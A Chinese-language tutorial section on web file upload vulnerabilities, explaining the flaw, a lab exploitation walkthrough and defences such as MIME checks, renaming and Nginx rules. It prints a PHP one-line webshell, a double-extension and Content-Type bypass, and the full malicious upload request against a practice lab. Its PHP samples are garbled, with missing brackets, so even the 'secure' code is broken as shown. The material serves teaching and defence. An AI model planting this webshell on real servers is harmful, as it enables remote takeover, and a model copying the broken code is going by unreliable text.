|
三、文件上传漏洞:从图片到服务器的跨越3.1 什么是文件上传漏洞? 文件上传功能是Web应用的核心交互模块,但若未实施严格的安全控制,可能成为攻击者植入恶意代码的入口。文件上传漏洞允许攻击者上传恶意文件(如WebShell)到服务器,从而获取服务器控制权。 3.2 文件上传漏洞的危害此类漏洞的危害性体现在两方面: 根据2024年OWASP Top 10报告,文件上传漏洞连续三年位列Web应用安全风险前十。 3.3 文件上传漏洞的攻击过程3.3.1 漏洞复现示例攻击者通过以下步骤利用漏洞: 构造恶意文件:生成包含PHP代码的shell.php.jpg文件,内容为<?php system($_GET['cmd']); ?> 篡改Content-Type:在Burp Suite中将请求头的Content-Type从image/jpeg改为application/x-php 双重扩展名绕过:利用服务器解析规则漏洞,上传shell.php.jpg后,通过访问/uploads/shell.php.jpg?cmd=id触发代码执行
关键请求包: [size=12.573px]text
POST /upload.php HTTP/1.1Host: upload-labs.localContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123------WebKitFormBoundaryABC123Content-Disposition: form-data; name="file"; filename="shell.php.jpg"Content-Type: application/x-php<?php system($_GET['cmd']); ?>------WebKitFormBoundaryABC123--
3.3.2 漏洞根源剖析漏洞代码示例: [size=12.573px]php
$upload_dir = "uploads/";$file_name = $_FILES['file'['name';$tmp_name = $_FILES['file'['tmp_name';// 未校验文件类型if (move_uploaded_file($tmp_name, $upload_dir . $file_name)) { echo "上传成功";}
核心问题: 3.4 文件上传漏洞的防御策略3.4.1 多层防御体系前端校验:限制文件选择类型(仅作为辅助,不可依赖) 后端校验: 安全代码示例: [size=12.573px]php
$allowed_types = ['image/jpeg', 'image/png';$finfo = finfo_open(FILEINFO_MIME_TYPE);$mime = finfo_file($finfo, $_FILES['file'['tmp_name');finfo_close($finfo);if (in_array($mime, $allowed_types)) { $ext = pathinfo($_FILES['file'['name', PATHINFO_EXTENSION); $safe_ext = ['jpg', 'png'; if (in_array($ext, $safe_ext)) { $new_name = uniqid() . '.' . $ext; move_uploaded_file($_FILES['file'['tmp_name', "uploads/" . $new_name); }}
3.4.2 服务器配置加固在Nginx中禁用危险扩展名执行: [size=12.573px]text
location ~* \.(php|jsp|asp)$ { deny all;}
为上传目录设置独立用户并限制权限: [size=12.573px]bash
chown -R www-data:www-data uploads/chmod -R 750 uploads/
3.4.3 WAF防护部署ModSecurity等WAF规则拦截可疑上传请求 3.5 小结文件上传漏洞的防御需遵循"默认拒绝"原则,仅允许明确安全的文件类型与操作。通过多层校验、服务器加固和持续监控,可将风险降至最低。
|